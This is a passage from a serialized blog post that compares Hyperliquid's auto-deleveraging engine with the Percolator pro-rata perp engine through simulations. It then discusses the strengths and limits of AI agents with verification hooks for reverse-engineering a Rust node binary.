g":271,"props":171713,"children":171715},{"className":171714,"style":29274},[11732,29273,11780],[171716],{"type":29,"value":13704},{"type":24,"tag":271,"props":171718,"children":171720},{"className":171719},[29430],[171721],{"type":29,"value":29433},{"type":24,"tag":271,"props":171723,"children":171725},{"className":171724},[11757],[171726],{"type":24,"tag":271,"props":171727,"children":171729},{"className":171728,"style":99920},[11762],[171730],{"type":24,"tag":271,"props":171731,"children":171732},{},[],{"type":29,"value":171734}," — ",{"type":24,"tag":135,"props":171736,"children":171738},{"className":171737},[11705,11706],[171739],{"type":24,"tag":271,"props":171740,"children":171742},{"className":171741},[11711],[171743],{"type":24,"tag":271,"props":171744,"children":171746},{"className":171745,"ariaHidden":5670},[11716],[171747],{"type":24,"tag":271,"props":171748,"children":171750},{"className":171749},[11721],[171751,171756],{"type":24,"tag":271,"props":171752,"children":171755},{"className":171753,"style":171754},[11726],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":24,"tag":271,"props":171757,"children":171759},{"className":171758},[11732],[171760,171765],{"type":24,"tag":271,"props":171761,"children":171763},{"className":171762,"style":101845},[11732,29273],[171764],{"type":29,"value":168394},{"type":24,"tag":271,"props":171766,"children":171768},{"className":171767},[11747],[171769],{"type":24,"tag":271,"props":171770,"children":171772},{"className":171771},[11752,29327],[171773,171818],{"type":24,"tag":271,"props":171774,"children":171776},{"className":171775},[11757],[171777,171813],{"type":24,"tag":271,"props":171778,"children":171780},{"className":171779,"style":115554},[11762],[171781,171797],{"type":24,"tag":271,"props":171782,"children":171783},{"style":171623},[171784,171788],{"type":24,"tag":271,"props":171785,"children":171787},{"className":171786,"style":11772},[11771],[],{"type":24,"tag":271,"props":171789,"children":171791},{"className":171790},[11777,11778,11779,11780],[171792],{"type":24,"tag":271,"props":171793,"children":171795},{"className":171794,"style":29274},[11732,29273,11780],[171796],{"type":29,"value":13704},{"type":24,"tag":271,"props":171798,"children":171799},{"style":11766},[171800,171804],{"type":24,"tag":271,"props":171801,"children":171803},{"className":171802,"style":11772},[11771],[],{"type":24,"tag":271,"props":171805,"children":171807},{"className":171806},[11777,11778,11779,11780],[171808],{"type":24,"tag":271,"props":171809,"children":171811},{"className":171810,"style":100323},[11732,29273,11780],[171812],{"type":29,"value":167908},{"type":24,"tag":271,"props":171814,"children":171816},{"className":171815},[29430],[171817],{"type":29,"value":29433},{"type":24,"tag":271,"props":171819,"children":171821},{"className":171820},[11757],[171822],{"type":24,"tag":271,"props":171823,"children":171825},{"className":171824,"style":171666},[11762],[171826],{"type":24,"tag":271,"props":171827,"children":171828},{},[],{"type":29,"value":171830}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":24,"tag":135,"props":171832,"children":171834},{"className":171833},[11705,11706],[171835],{"type":24,"tag":271,"props":171836,"children":171838},{"className":171837},[11711],[171839],{"type":24,"tag":271,"props":171840,"children":171842},{"className":171841,"ariaHidden":5670},[11716],[171843],{"type":24,"tag":271,"props":171844,"children":171846},{"className":171845},[11721],[171847,171851],{"type":24,"tag":271,"props":171848,"children":171850},{"className":171849,"style":117678},[11726],[],{"type":24,"tag":271,"props":171852,"children":171854},{"className":171853,"style":100323},[11732,29273],[171855],{"type":29,"value":167908},{"type":24,"tag":25,"props":171857,"children":171858},{},[171859],{"type":29,"value":171860},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":24,"tag":171862,"props":171863,"children":171865},"git-hub-repo-link",{"url":171864},"https://github.com/aeyakovenko/percolator",[],{"type":24,"tag":25,"props":171867,"children":171868},{},[171869,171871,171876],{"type":29,"value":171870},"Given a fixed ",{"type":24,"tag":10648,"props":171872,"children":171873},{},[171874],{"type":29,"value":171875},"a priori",{"type":29,"value":171877}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":24,"tag":25,"props":171879,"children":171880},{},[171881,171883,171888,171890,171967],{"type":29,"value":171882},"One prediction that we can make is that Percolator is ",{"type":24,"tag":10648,"props":171884,"children":171885},{},[171886],{"type":29,"value":171887},"perfectly fair",{"type":29,"value":171889}," according to this scoring: the ",{"type":24,"tag":135,"props":171891,"children":171893},{"className":171892},[11705,11706],[171894],{"type":24,"tag":271,"props":171895,"children":171897},{"className":171896},[11711],[171898],{"type":24,"tag":271,"props":171899,"children":171901},{"className":171900,"ariaHidden":5670},[11716],[171902],{"type":24,"tag":271,"props":171903,"children":171905},{"className":171904},[11721],[171906,171910],{"type":24,"tag":271,"props":171907,"children":171909},{"className":171908,"style":149116},[11726],[],{"type":24,"tag":271,"props":171911,"children":171913},{"className":171912},[11732],[171914,171919],{"type":24,"tag":271,"props":171915,"children":171917},{"className":171916},[11732,29273],[171918],{"type":29,"value":91135},{"type":24,"tag":271,"props":171920,"children":171922},{"className":171921},[11747],[171923],{"type":24,"tag":271,"props":171924,"children":171926},{"className":171925},[11752,29327],[171927,171956],{"type":24,"tag":271,"props":171928,"children":171930},{"className":171929},[11757],[171931,171951],{"type":24,"tag":271,"props":171932,"children":171934},{"className":171933,"style":100366},[11762],[171935],{"type":24,"tag":271,"props":171936,"children":171937},{"style":99893},[171938,171942],{"type":24,"tag":271,"props":171939,"children":171941},{"className":171940,"style":11772},[11771],[],{"type":24,"tag":271,"props":171943,"children":171945},{"className":171944},[11777,11778,11779,11780],[171946],{"type":24,"tag":271,"props":171947,"children":171949},{"className":171948},[11732,29273,11780],[171950],{"type":29,"value":11462},{"type":24,"tag":271,"props":171952,"children":171954},{"className":171953},[29430],[171955],{"type":29,"value":29433},{"type":24,"tag":271,"props":171957,"children":171959},{"className":171958},[11757],[171960],{"type":24,"tag":271,"props":171961,"children":171963},{"className":171962,"style":99920},[11762],[171964],{"type":24,"tag":271,"props":171965,"children":171966},{},[],{"type":29,"value":171968}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":24,"tag":25,"props":171970,"children":171971},{},[171972,171974,171979],{"type":29,"value":171973},"We are ignoring the ",{"type":24,"tag":10648,"props":171975,"children":171976},{},[171977],{"type":29,"value":171978},"a posteriori",{"type":29,"value":171980}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":24,"tag":25,"props":171982,"children":171983},{},[171984],{"type":29,"value":171985},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":24,"tag":62,"props":171987,"children":171989},{"id":171988},"simulations",[171990],{"type":29,"value":171991},"Simulations",{"type":24,"tag":25,"props":171993,"children":171994},{},[171995],{"type":29,"value":171996},"Let's consider the following price scenarios, as we said:",{"type":24,"tag":25,"props":171998,"children":171999},{},[172000],{"type":24,"tag":74,"props":172001,"children":172004},{"alt":172002,"src":172003},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":24,"tag":25,"props":172006,"children":172007},{},[172008],{"type":29,"value":172009},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":24,"tag":25,"props":172011,"children":172012},{},[172013],{"type":24,"tag":74,"props":172014,"children":172017},{"alt":172015,"src":172016},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":24,"tag":85,"props":172019,"children":172021},{"id":172020},"percolator-is-more-optimistic",[172022],{"type":29,"value":172023},"Percolator Is More \"Optimistic\"",{"type":24,"tag":25,"props":172025,"children":172026},{},[172027,172029,172034,172036,172041,172043,172049,172051,172056],{"type":29,"value":172028},"The key difference is what happens to positions. ADL ",{"type":24,"tag":10648,"props":172030,"children":172031},{},[172032],{"type":29,"value":172033},"permanently closes",{"type":29,"value":172035}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":24,"tag":10648,"props":172037,"children":172038},{},[172039],{"type":29,"value":172040},"withdraw",{"type":29,"value":172042},", but the position stays open. If conditions improve, ",{"type":24,"tag":135,"props":172044,"children":172046},{"className":172045},[],[172047],{"type":29,"value":172048},"Residual",{"type":29,"value":172050}," goes up, ",{"type":24,"tag":135,"props":172052,"children":172054},{"className":172053},[],[172055],{"type":29,"value":91135},{"type":29,"value":172057}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":24,"tag":25,"props":172059,"children":172060},{},[172061,172063,172067],{"type":29,"value":172062},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":24,"tag":10648,"props":172064,"children":172065},{},[172066],{"type":29,"value":27875},{"type":29,"value":172068}," per position, though the tradeoff is that fewer traders get to participate.",{"type":24,"tag":25,"props":172070,"children":172071},{},[172072],{"type":24,"tag":74,"props":172073,"children":172076},{"alt":172074,"src":172075},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":24,"tag":62,"props":172078,"children":172080},{"id":172079},"some-points-to-be-made",[172081],{"type":29,"value":172082},"Some Points to Be Made",{"type":24,"tag":85,"props":172084,"children":172086},{"id":172085},"percolator-is-indifferent-to-leverage",[172087],{"type":29,"value":172088},"Percolator Is Indifferent to Leverage",{"type":24,"tag":25,"props":172090,"children":172091},{},[172092],{"type":29,"value":172093},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":24,"tag":25,"props":172095,"children":172096},{},[172097],{"type":24,"tag":74,"props":172098,"children":172101},{"alt":172099,"src":172100},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":24,"tag":85,"props":172103,"children":172105},{"id":172104},"fairness",[172106],{"type":29,"value":167659},{"type":24,"tag":25,"props":172108,"children":172109},{},[172110],{"type":29,"value":172111},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":24,"tag":25,"props":172113,"children":172114},{},[172115],{"type":24,"tag":74,"props":172116,"children":172119},{"alt":172117,"src":172118},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":24,"tag":25,"props":172121,"children":172122},{},[172123,172125,172130],{"type":29,"value":172124},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":24,"tag":135,"props":172126,"children":172128},{"className":172127},[],[172129],{"type":29,"value":166161},{"type":29,"value":172131}," we start by fully closing the worst position against the best-performing trader.",{"type":24,"tag":62,"props":172133,"children":172135},{"id":172134},"strengths-and-limitations-of-agents-for-reverse-engineering",[172136],{"type":29,"value":172137},"Strengths and Limitations of Agents for Reverse Engineering",{"type":24,"tag":25,"props":172139,"children":172140},{},[172141],{"type":29,"value":172142},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":24,"tag":85,"props":172144,"children":172146},{"id":172145},"hooks",[172147],{"type":29,"value":172148},"Hooks",{"type":24,"tag":25,"props":172150,"children":172151},{},[172152,172154,172158],{"type":29,"value":172153},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":24,"tag":10648,"props":172155,"children":172156},{},[172157],{"type":29,"value":172145},{"type":29,"value":172159},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":24,"tag":25,"props":172161,"children":172162},{},[172163],{"type":29,"value":172164},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":24,"tag":85,"props":172166,"children":172168},{"id":172167},"scale",[172169],{"type":29,"value":172170},"Scale",{"type":24,"tag":25,"props":172172,"children":172173},{},[172174],{"type":29,"value":172175},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":24,"tag":25,"props":172177,"children":172178},{},[172179],{"type":29,"value":172180},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":24,"tag":85,"props":172182,"children":172184},{"id":172183},"whats-next",[172185],{"type":29,"value":172186},"What's next?",{"type":24,"tag":25,"props":172188,"children":172189},{},[172190],{"type":29,"value":172191},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":24,"tag":171862,"props":172193,"children":172194},{"url":165822},[],{"type":24,"tag":25,"props":172196,"children":172197},{},[172198],{"type":29,"value":172199},"The analyzed binary can be found here:",{"type":24,"tag":166142,"props":172201,"children":172204},{"path":172202,"name":165746,"size":172203},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":24,"tag":85,"props":172206,"children":172208},{"id":172207},"closing-words",[172209],{"type":29,"value":172210},"Closing Words",{"type":24,"tag":25,"props":172212,"children":172213},{},[172214],{"type":29,"value":172215},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":24,"tag":25,"props":172217,"children":172218},{},[172219,172221,172226],{"type":29,"value":172220},"Flagship models got us 60% of the way there, but a lot of ",{"type":24,"tag":10648,"props":172222,"children":172223},{},[172224],{"type":29,"value":172225},"manual",{"type":29,"value":172227}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":24,"tag":25,"props":172229,"children":172230},{},[172231],{"type":29,"value":172232},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":24,"tag":25,"props":172234,"children":172235},{},[172236],{"type":29,"value":172237},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":24,"tag":172239,"props":172240,"children":172241},"report-footnotes",{},[172242],{"type":24,"tag":3834,"props":172243,"children":172244},{},[172245,172250,172277,172282,172287],{"type":24,"tag":101,"props":172246,"children":172247},{},[172248],{"type":29,"value":172249},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":24,"tag":101,"props":172251,"children":172252},{},[172253,172259,172261,172267,172269,172275],{"type":24,"tag":135,"props":172254,"children":172256},{"className":172255},[],[172257],{"type":29,"value":172258},"compute_user_margin_and_shortfall",{"type":29,"value":172260}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":24,"tag":135,"props":172262,"children":172264},{"className":172263},[],[172265],{"type":29,"value":172266},"0x748",{"type":29,"value":172268}," in the abstract expressions of ",{"type":24,"tag":135,"props":172270,"children":172272},{"className":172271},[],[172273],{"type":29,"value":172274},"btree_cursor",{"type":29,"value":172276},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":24,"tag":101,"props":172278,"children":172279},{},[172280],{"type":29,"value":172281},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":24,"tag":101,"props":172283,"children":172284},{},[172285],{"type":29,"value":172286},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":24,"tag":101,"props":172288,"children":172289},{},[172290,172292,172298],{"type":29,"value":172291},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":24,"tag":135,"props":172293,"children":172295},{"className":172294},[],[172296],{"type":29,"value":172297},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":41},{"title":7,"searchDepth":284,"depth":284,"links":172300},[172301,172302,172303,172304,172305,172308,172309,172310,172313,172314,172317,172321],{"id":165692,"depth":284,"text":165695},{"id":165685,"depth":284,"text":165713},{"id":165770,"depth":284,"text":165773},{"id":166051,"depth":284,"text":166054},{"id":166085,"depth":284,"text":166088,"children":172306},[172307],{"id":166224,"depth":294,"text":166227},{"id":167003,"depth":284,"text":167006},{"id":167099,"depth":284,"text":167102},{"id":167317,"depth":284,"text":167320,"children":172311},[172312],{"id":167562,"depth":294,"text":167565},{"id":167622,"depth":284,"text":167625},{"id":171988,"depth":284,"text":171991,"children":172315},[172316],{"id":172020,"depth":294,"text":172023},{"id":172079,"depth":284,"text":172082,"children":172318},[172319,172320],{"id":172085,"depth":294,"text":172088},{"id":172104,"depth":294,"text":167659},{"id":172134,"depth":284,"text":172137,"children":172322},[172323,172324,172325,172326],{"id":172145,"depth":294,"text":172148},{"id":172167,"depth":294,"text":172170},{"id":172183,"depth":294,"text":172186},{"id":172207,"depth":294,"text":172210},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630609]